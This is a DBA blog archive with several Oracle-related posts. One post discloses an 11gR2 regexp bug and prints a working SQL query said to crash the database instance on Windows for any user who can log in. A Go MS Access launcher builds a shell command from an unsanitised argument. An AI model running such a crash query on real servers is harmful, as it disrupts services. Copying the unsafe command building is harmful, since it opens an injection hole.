Author Archives: alesk

Killing me softly…with this SQL

This is an old post that was on hold for several years, because I didn’t want to risk someone crashing our 11g R2 production servers with simple copy/paste from this site. In 2022 only fools still runs 11g in production, so I decided to release a test case to the public.
A few years ago I opened SR on MOS, because I considered the bug described in this blog as a serious one; basically Oracle built-in regexp functions allows anyone with a create session privilege to crash Oracle 11gR2 instance on Windows (and/or user session on Linux). Instead of fixing the bug in 11g R2, Oracle simply closed the SR as “solved” in 12c.
Well, if you have some legacy 11gR2 instance still up and running in 2022, then you can ask your DBA a question: “Do you feel lucky, punk? Do you…”;-)


With the query you’ll crash 11gR2 instance running on Windows (witouht a trace).
— We tested on 11gR2 up to and including >=BP Oct 2016.
— If you run the same query on 11gR2 on Linux (only) the user session will crash.
— Query runs fine on 10gR2 and 12cR1.
— If the query regex pattern is reduced to ~ 336 characters then even on Windows you’ll crash your user session and not the instance (with trace being generated!).
— If the query regex pattern is reduced even more, to ~ 304 characters the query will run fine without a crash.

with data as (
select 'This query will crash any 11gR2 instance on Windows and user session on Linux!' as demo from dual
)
select
demo,
(case
when regexp_substr(demo,'(\d+)G|(\d+)\sG|(\d+)G\s|(\d+)KG|(\d+)\sKG|(\d+)KG\s|(\d+)L|(\d+)\sL|(\d+)L\s|(\d+)ML|(\d+)\sML|(\d+)ML\s|(\d+)[,](\d+)G|(\d+)[,](\d+)\sG|(\d+)[,](\d+)L|(\d+)[,](\d+)\sL|(\d+)[,](\d+)KG|(\d+)[,](\d+)\sKG|(\d+)[,](\d+)ML|(\d+)[,](\d+)\sML|(\d+)[.](\d+)G|(\d+)[.](\d+)\sG|(\d+)[.](\d+)KG|(\d+)[.](\d+)\sKG|(\d+)[.](\d+)L|(\d+)[x](\d+)\sL|(\d+)[x](\d+)ML|(\d+)[.](\d+)\sML',1,1,'i') is null
then
1
end) lol
from data;

For those who wonder how did I come up with such regex expression, well, I did not. This regex is actually part of ETL production code; kudos goes to developer who put together this nifty little regex that determines from the data input a proper unit of […..].
I won’t tell what it does, because it’s so obvious from the code itself.

Advertisement

MS Access 2016 — a bug finally fixed after 16 years – NOT! (Part 2)

Only recently, I realized that I was dead wrong (two years ago), claiming that Microsoft finally fixed a bug in Microsoft Access 2016 that caused wrong results whenever we use a combination of:

  • linked tables via Oracle ODBC driver,
  • Oracle table contains attribute(s) with data type NUMBER(n,m),
  • and Windows client OS is properly using whatever (Eastern Europe) regional settings is valid for the country. In Slovenia we’re using comma as a decimal separator.

If above requirements are met, then MS Access (any version!) interprets the decimal number as integer (2342,45 becomes 234245). This can be a potential hefty salary raise for someone.

When I reported that Microsoft finally fixed a bug, I didn’t realize that I was working on Windows 10 VirtualBox VM, where I freshly installed Oracle Client 12c, but didn’t bother to check NLS_LANG in the registry. As it is usually the case, Oracle installer puts (incorrect) NLS_LANG=AMERICAN_AMERICA.WE8MSWIN1252 in the registry, instead of correct one, NLS_LANG=SLOVENIAN_SLOVENIA.EE8MSWIN1250.

While preparing some new standard PC configuration for our current customer, I was surprised when I found out that an old bug is back. It was “back” because on this “matrix” machine Oracle client was properly setup with NLS_LANG=SLOVENIAN_SLOVENIA.EE8MSWIN1250. Since going back to 32-bit MS Office 16 and Microsoft ODBC driver for Oracle (only 32-bit version is available!) was not an option, we were left to figure out some workaround. And we did. We found out that MS Access interprets decimal data type in Oracle table correctly, if we change territory from Slovenia to America (without changing *any* other regional settings at OS level!).

Something like this:

-- open cmd, setup NLS_LANG, then run MS Access
cmd> SET NLS_LANG=SLOVENIAN_AMERICA.EE8MSWIN1250
cmd> "C:\Program Files\Microsoft Office\Office16\msaccess.exe"

Changing NLS_LANG variable at registry (machine) level to SLOVENIAN_AMERICA.EE8MSWIN1250 doesn’t sound as a smart move, just for the sake of fixing a bug in one faulty product, so we decided to write some simple launcher for MS Access that can fix NLS_LANG variable behind a scene, leaving NLS_LANG in registry intact.

Below is a simple Go code that’ll run MS Access after properly setting up territory part of NLS_LANG variable. Note that we deliberately used absolute paths to MS Access binary that works for our Windows 10 standard configuration, something that you might want to change if you decide to use it. You can change language and character set part of NLS_LANG variable as well.

To build executable from the code follow these steps:

  • download and install Go
  • save code in some file, such as G:\SRC\runAccess.go
  • compile code, open cmd and execute: cd G:\SRC & go build
  • ** or, you can compile the code with: go build -ldflags -H=windowsgui

** The alternative build with the -ldflags -H=windowsgui is optional but recommended. It will cause console window to close after it launches MS Access.

// runAccess.go -- MS Access launcher
package main
 
 import (
	"fmt"
	"os"
	"os/exec"
	"flag"
 )
 
func main() {

	var version *bool
	var help *bool
	
	version = flag.Bool("version",false,"18.02")
	help = flag.Bool("help",false,"MS Access 2016 Launcher") 
	
	flag.Parse()
	
	if *version {
		fmt.Printf("February 2018 by AlesK\nVersion %s\n", (flag.Lookup("version")).Usage)
		os.Exit(0)
	}
	
	if *help {
		fmt.Println("I'm here to silently run this code for a user:")
		fmt.Println("cmd /c SET NLS_LANG=SLOVENIAN_AMERICA.EE8MSWIN1250 & start C:\\Program Files\\Microsoft Office\\Office16\\msaccess.exe")
		os.Exit(0)
	}
	
    if (os.Args != nil && len(os.Args) > 1) {
		cmd := exec.Command("cmd", "/C", "set NLS_LANG=SLOVENIAN_AMERICA.EE8MSWIN1250 & start C:/\"Program Files\"/\"Microsoft Office\"/Office16/msaccess.exe", os.Args[1])
		if err := cmd.Run(); err != nil {
			fmt.Println("Error: ", err)
		}
	} else {
		cmd := exec.Command("cmd", "/C", "set NLS_LANG=SLOVENIAN_AMERICA.EE8MSWIN1250 & start C:/\"Program Files\"/\"Microsoft Office\"/Office16/msaccess.exe")
		if err := cmd.Run(); err != nil {
			fmt.Println("Error: ", err)
		}
	}		
}

You can do two things with runAccess.exe. You can run it as a standalone program. It’ll open MS Access with territory part of NLS_LANG set to AMERICA. Or, you can associate *.accdb or *.mdb file extension with this launcher and it’ll correctly start MS Access if user double clicks on MS Access database file.

If you’re wondering what is perhaps a negative consequence of tweaking territory part of NLS_LANG variable, then you can refer to Oracle official NLS lang FAQ, a quote:



What does the TERRITORY component of the NLS_LANG parameter control?

The territory component of the NLS_LANG parameter controls the operation of a subset of globalization support features. It specifies conventions such as the default date, monetary, and numeric formats. Each supported territory has a unique name; for example, AMERICA , FRANCE , or CANADA . If the territory is not specified, then the value is derived from the language value.


We can certainly leave with “wrong” monetary value and having american “default date” is easy to fix with a proper NLS_DATE_FORMAT.

UPDATE: April 11, 2018

I added a small troubleshooting feature to my Golang code that allows end users to easily check if they run instance of MS Access spawned from my runAccess app. I added /cmd at the end of the command line with text NLS_TERRITORY=AMERICA. This MS Access related “command line switch” is usually read by VBA function Command(), but can also be viewed from:

File -> Options -> Client Settings -> Advanced -> Command-line arguments NLS_TERRITORY=AMERICA


package main
 
 import (
	"fmt"
	"os"
	"os/exec"
	"flag"
 )
 
func main() {

	var version *bool
	var help *bool
	
	version = flag.Bool("version",false,"18.03")
	help = flag.Bool("help",false,"MS Access 2016 Launcher") 
	
	flag.Parse()
	
	if *version {
		fmt.Printf("February 2018 by AlesK\nVersion %s\n", (flag.Lookup("version")).Usage)
		os.Exit(0)
	}
	
	if *help {
		fmt.Println("I'm here to silently run this code for a user:")
		fmt.Println("cmd /c SET NLS_LANG=SLOVENIAN_AMERICA.EE8MSWIN1250 & start C:\\Program Files\\Microsoft Office\\Office16\\msaccess.exe /cmd NLS_TERRITORY=AMERICA")
		os.Exit(0)
	}
	
    if (os.Args != nil && len(os.Args) > 1) {
		cmd := exec.Command("cmd", "/C", "set NLS_LANG=SLOVENIAN_AMERICA.EE8MSWIN1250 & start C:/\"Program Files\"/\"Microsoft Office\"/Office16/msaccess.exe " + os.Args[1] + " /cmd NLS_TERRITORY=AMERICA")
		if err := cmd.Run(); err != nil {
			fmt.Println("Error: ", err)
		}
	} else {
		cmd := exec.Command("cmd", "/C", "set NLS_LANG=SLOVENIAN_AMERICA.EE8MSWIN1250 & start C:/\"Program Files\"/\"Microsoft Office\"/Office16/msaccess.exe /cmd NLS_TERRITORY=AMERICA")
		if err := cmd.Run(); err != nil {
			fmt.Println("Error: ", err)
		}
	}		

Installing ArcServe 17.5 agent on Oracle Linux 7.4

We’re slowly migrating our DB servers to Oracle Linux 7 and at the same time we’ll upgrade ArcServe 16/16.5 backup software to version 17.5. Unfortunately, the information that we found on the web regarding support for Oracle Linux 7.x is not consistent with the readme document that comes with the media.
Here is what official ArcServe Backup compatibility matrix is saying about OEL7 support:


And below, you’ll see what we got during agent installation. We believe that this inconsistency is due to the poor installation script maintenance (apparently updated in 2015). The installation of the agent 17.5 (+ mandatory patch 802!) on Oracle Linux 7.4 was a breeze .

$ lsb_release -d
Description:    Oracle Linux Server release 7.4

$ su - root
# mkdir /media/arcserve
# mount -t iso9660 /dev/cdrom /media/arcserve
# cd /media/arcserve/Arcserve_Backup/DataMoverandAgent/Linux

./install

This distribution of Linux is not certified by Arcserve Backup. If you run it, you may experience problems.
(y) to continue, (q) to quit :

<< a lot of license gibberish that you'll likely skip >>

Please enter your choice:[Y|N] (default: N)Y
Do you want to view the installation notes? (y/n):(default: y) n
Do you want to view the installation notes? (y/n):(default: y) n

Preparing for the installation, please wait...|

The following products are available to install:


#####################################################################
#       Arcserve Installation Options
#####################################################################
#  1. Arcserve Backup for Linux Data Mover                               (ABdatmov)
#  2. Arcserve Backup for Linux Client Agent                             (ABagntux)
#  3. Arcserve Backup for Linux Agent for Oracle                         (ABora)
#  4. Arcserve Backup for Linux Enterprise Option for SAP R/3 for Oracle (ABsap)
#  5. Arcserve Backup for Linux Enterprise Option for SAP HANA           (ABhana)
#
#  0. Quit
#####################################################################

Note: Client Agent will be installed automatically if Data Mover is selected.
Please enter your selection separated by "," For example: 1,2. Press Enter to select the default components (E.g. Data Mover, Client Agent)...

Your choices are:2

Please specify the installation path of Client Agent for Linux                   (default: /opt/Arcserve):

The following program will be installed:

  . Install Client Agent for Linux                     (ABagntux)      ==> [ /opt/Arcserve/ABuagent ]

Are you sure? (y)es/(n)o/(q)uit: y

All Arcserve Backup agents can be configured for automatic startup
and shutdown as part of your operating system startup and shutdown.
Do you want to enable automatic startup and shutdown of all backup agents? [y|n]:(default: y) y

Checking available space in /opt/Arcserve                     ==> [ OK ]


Installation log file is                           ==> [ /tmp/ARCserveInstall092117-1219.log ]

    Common Agent Module                      (ABcmagt)       ==> [ INSTALL SUCCESSFUL ]
    Client Agent for Linux                   (ABagntux)      ==> [ INSTALL SUCCESSFUL ]

###########################################################################

    Installation log file is                      ==> [ /tmp/ARCserveInstall092117-1219.log ]
###########################################################################


Do you want to view the readme? [y|n]:(default: y) y


<**snip** AND HERE IS THE LIST OF SUPPORTED OS's, OEL 7 is not mentioned! **snip**>

3.2  Supported Operating Systems for the Client Agent for Linux

You can install the Arcserve Backup Client Agent for Linux
on the following operating systems:

 *   Community ENTerprise Operating System 5.x, including SMP
     through 6.3 (x86, AMD64, Intel EM64T)

 *   Oracle Enterprise Linux Server 5.5 including SMP through
     6.3 (x86, AMD64, Intel EM64T)

 *   SUSE Linux Enterprise Server 9.x including SMP through 11
     SP2 (x86, AMD64, Intel EM64T)

 *   Novell Open Enterprise Server 2 10.x (x86, AMD64, Intel
     EM64T)

 *   Novell Open Enterprise Server 11, SP1 (AMD64, Intel EM64T)

 *   Turbolinux 11.x (x86, AMD64, Intel EM64T)

 *   Miracle Linux 4.0 (x86, AMD64, Intel EM64T)

 *   Red Flag Data Center Server 5.0 (x86, AMD64, Intel EM64T)

 *   Asianux 3.x (x86, AMD64, Intel EM64T)

 *   Debian 5.x through 6.06 (x86, AMD64, Intel EM64T)

 *   Ubuntu Server 10.04 LTS through 12.04 (x86, AMD64, Intel
     EM64T)

 *   Red Hat Enterprise Linux Server 4.x including SMP through
     6.3 (x86, AMD64, Intel EM64T)

 *   Red Hat Enterprise Linux 7 (AMD64, Intel EM64T)

 <**snip**  ........................................................... **snip**>

That’s it. We can start or stop the agent with the usual commands:

Start and stop the agent:
 
sudo  /etc/init.d/bab_agent stop
sudo /etc/init.d/bab_agent start

or simply:

caagent stop
caagent start

You should also download and apply patch P00000802.zip before putting agent in production:

Download patch P00000802.zip from ArcServe support.

# cd /home/alesk/Downloads/ArcServe-Patch/
# unzip P00000802.zip
# caagent stop
Shutting down Arcserve Backup Universal Agent process...Down.

-- backup original file
# cp -p /opt/Arcserve/ABuagent/uagentd /opt/Arcserve/ABuagent/uagentd.BkpP00000802

# cp uagentd /opt/Arcserve/ABuagent
# caagent start

If you have firewall enabled, then you’ll have to add port 6051 to the exception list:

sudo firewall-cmd --permanent --zone=public --add-port=6051/udp
sudo firewall-cmd --permanent --zone=public --add-port=6051/tcp
sudo firewall-cmd --reload

Agent configuration:

Configuration:

$ sudo nano /opt/Arcserve/ABcmagt/agent.cfg

[0]
#[LinuxAgent]
NAME      LinuxAgent
VERSION   17.5
HOME      /opt/Arcserve/ABuagent
#ENV      CA_ENV_DEBUG_LEVEL=4
ENV       AB_OS_TYPE=ORACLEAMERICA_X86_64
ENV       UAGENT_HOME=/opt/Arcserve/ABuagent
#ENV       LD_ASSUME_KERNEL=2.4.18
ENV       LD_LIBRARY_PATH=/opt/Arcserve/ABcmagt:$LD_LIBRARY_PATH:/SharedComponents/lib:/opt/Arcserve/ABuagent/lib
ENV       SHLIB_PATH=/opt/Arcserve/ABcmagt:$SHLIB_PATH:/SharedComponents/lib:/opt/Arcserve/ABuagent/lib
ENV       LIBPATH=/opt/Arcserve/ABcmagt:$LIBPATH:/SharedComponents/lib:/opt/Arcserve/ABuagent/lib
ENV       CAPKIHOME=/opt/Arcserve/ABcmagt/ETPKI
BROWSER   cabr
AGENT     uagentd
MERGE     umrgd
VERIFY    umrgd
NOPASSWORD                     <<< ADDED...enable single user mode, this is needed for ACL's
CAUSER A:alesk N:root          <<< ADDED...Access Control List (A=allow access, N=Deny Access)

[36]
#[ABcmagt]
#NAME     ABcmagt
#HOME     /opt/Arcserve/ABcmagt
#TCP_PORT  6051
#UDP_PORT  6051
#UDP_BCAST_PORT  41524
#DOS_MAXITEMS    1000
#DOS_DEFAULTTIMEOUT   30
NO_HOSTS_EQUIV=1               <<< ADDED...disable UNIX/Linux host equiv. authentication

$ sudo caagent stop
$ sudo caagent start

Please, can someone deliver some cloud “stuff” to Oracle Support?

Can you tell me what is wrong with this screen capture that I took on MOS and is part of my Service Request?

Right now, I’m waiting SR analyst to download and install Oracle software, so that he can run query provided by us. I hope that they have at least a decent bandwidth, if they’re not able to use provisioned virtual machines in the first place. And that is the same company touting their cloud offerings. LOL.

20th anniversary

When I started to work for a current employer in 1995 the company run a tiny Oracle 6 production database on IBM mainframe (OS/390). Nothing serious or big. The majority of data processing at that time was still done in Cobol and TPL. Development with Oracle*Case of the new state Business registry however started on LAN, with Oracle 7 on Netware 4. Yes. Life. Was. Exciting. Recovery from a server crash was almost a daily routine. But for a starter like me, it was definitely fun and exciting working environment.
In the mid 90’s company was using a myriad of OS’s (OS/390, Netware 3 and 4, OS/2, DOS, Windows 3.1, Windows 3.11, Windows NT 3.5, SCO Unix, IRIX….but not Windows 95!). We used two network protocols, primary one was IPX/SPX and secondary was TCP/IP (Oracle Listener was listening on IPX/SPX adapter). It was a ZOO.
After Microsoft released Windows NT 4 at the end of 1996, the decision was made to consolidate OS environment on NT 4 at every level, from laptops, desktops to the servers. With one exception. Two main file servers were left to run on Netware.
Why not Unix? Due to the lack of skilled workforce with strong Unix skills on the market it was somehow logical choice to pick a mainstream OS player.
So, on March 1997 we put our first non-mainframe production Oracle database in use. It was IBM PC Server 320 with two Pentium 133Mhz processors, a whooping 128MB of RAM and four 2GB Fast Wide SCSI disks. We run NT 4 and Oracle 7.3. Backups were done with ArcServe and HP Surestore DAT tape library. This first PC based host was (predictably) named ORANT.

At that time we were considered as weirdos (perhaps we still are?), because no one run Oracle production on Windows. Local Oracle representatives used us as a reference whenever someone asked them if anyone is using Oracle on NT or how stable Oracle is on NT. Honestly, from 1997-1999, it was not as stable as we wished to be (regular monthly reboots were needed), but it was certainly a giant leap forward compared to Oracle on Netware. The real stability came with Windows 2000/2003. Twenty years later our production still runs on Windows Servers, but this is gonna to change soon. Not because of the lack of stability (modern Windows Servers are rock solid, and we can prove it;) but because of clear Tux technology dominance and advantages in the Cloud/OSS era.

Anyway, I took a couple of screenshots from my VirtualBox guest, running Windows NT 4 (SP1) and Oracle 7.3.4:

For the record: installation of the Windows NT 4 took ~10 minutes. Installation of Oracle 7.3.4 with Replication option took another ~10 minutes (including building a database). It took 1.3GB of disk space for both OS, RDBMS and sample database. For comparison, Oracle 12c R2 ISO file with all the components is 9.7 GB.